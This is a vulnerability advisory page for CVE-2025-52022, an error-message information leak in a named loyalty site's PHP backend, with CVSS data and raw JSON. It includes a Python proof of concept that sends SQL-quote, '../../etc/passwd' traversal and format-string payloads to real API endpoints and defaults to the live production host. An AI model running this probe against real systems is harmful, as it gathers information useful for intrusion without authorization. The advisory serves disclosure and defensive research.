Security Vulnerability Report
中文
CVE-2025-52022 CVSS 5.3 MEDIUM

CVE-2025-52022

Published: 2026-01-23 21:15:50
Last Modified: 2026-02-11 19:25:32

Description

A vulnerability in the PHP backend of gemsloyalty.aptsys.com.sg thru 2025-05-28 allows unauthenticated remote attackers to trigger detailed error messages that disclose internal file paths, code snippets, and stack traces. This occurs when specially crafted HTTP GET/POST requests are sent to public API endpoints, exposing potentially sensitive information useful for further exploitation. This issue is classified under CWE-209: Information Exposure Through an Error Message.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:aptsys:gemscms_backend:*:*:*:*:*:*:*:* - VULNERABLE
gemsloyalty.aptsys.com.sg 所有版本(截至2025-05-28)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-52022 PoC - Information Disclosure via Error Messages # Target: gemsloyalty.aptsys.com.sg def test_vulnerability(target_url): """Test for CVE-2025-52022 Information Disclosure""" # Test different endpoints with malformed requests endpoints = [ '/api/', '/api/v1/', '/api/endpoint', '/api.php', '/index.php' ] payloads = [ {'param': 'test\''}, # SQL-like injection {'param': '../../etc/passwd'}, # Path traversal attempt {'param': '%s%s%s%s'}, # Format string {'param': None}, # Missing parameter ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint for i, payload in enumerate(payloads): try: # Test GET request response = requests.get(url, params=payload, timeout=10) # Check for information disclosure indicators indicators = [ 'stack trace', 'Traceback', '/var/www/', 'C:\inetpub\', 'Undefined index', 'Fatal error', 'Warning:', 'Exception', '.php on line', 'Array', 'Stack', 'at ' ] content = response.text.lower() found_indicators = [ind for ind in indicators if ind.lower() in content] if found_indicators: print(f"[+] VULNERABLE: {url}") print(f" Payload: {payload}") print(f" Found indicators: {found_indicators}") print(f" Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] else: target = 'https://gemsloyalty.aptsys.com.sg' print(f"[*] Testing CVE-2025-52022 on {target}") result = test_vulnerability(target) if result: print("\n[!] Target is vulnerable to information disclosure") else: print("\n[*] No vulnerability detected")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52022", "sourceIdentifier": "[email protected]", "published": "2026-01-23T21:15:49.673", "lastModified": "2026-02-11T19:25:31.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the PHP backend of gemsloyalty.aptsys.com.sg thru 2025-05-28 allows unauthenticated remote attackers to trigger detailed error messages that disclose internal file paths, code snippets, and stack traces. This occurs when specially crafted HTTP GET/POST requests are sent to public API endpoints, exposing potentially sensitive information useful for further exploitation. This issue is classified under CWE-209: Information Exposure Through an Error Message."}, {"lang": "es", "value": "Una vulnerabilidad en el backend PHP de gemsloyalty.aptsys.com.sg hasta el 28-05-2025 permite a atacantes remotos no autenticados activar mensajes de error detallados que revelan rutas de archivos internas, fragmentos de código y trazas de pila. Esto ocurre cuando solicitudes HTTP GET/POST especialmente diseñadas se envían a puntos finales de API públicos, exponiendo información potencialmente sensible útil para una explotación posterior. Este problema se clasifica bajo CWE-209: Exposición de Información a Través de un Mensaje de Error."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aptsys:gemscms_backend:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-05-28", "matchCriteriaId": "1F83E13A-9AF7-4E42-9849-9D9684967078"}]}]}], "references": [{"url": "http://aptsys.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gist.github.com/ReverseThatApp/4a6be2b9b2ba39d38c35c8753e0afd39", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}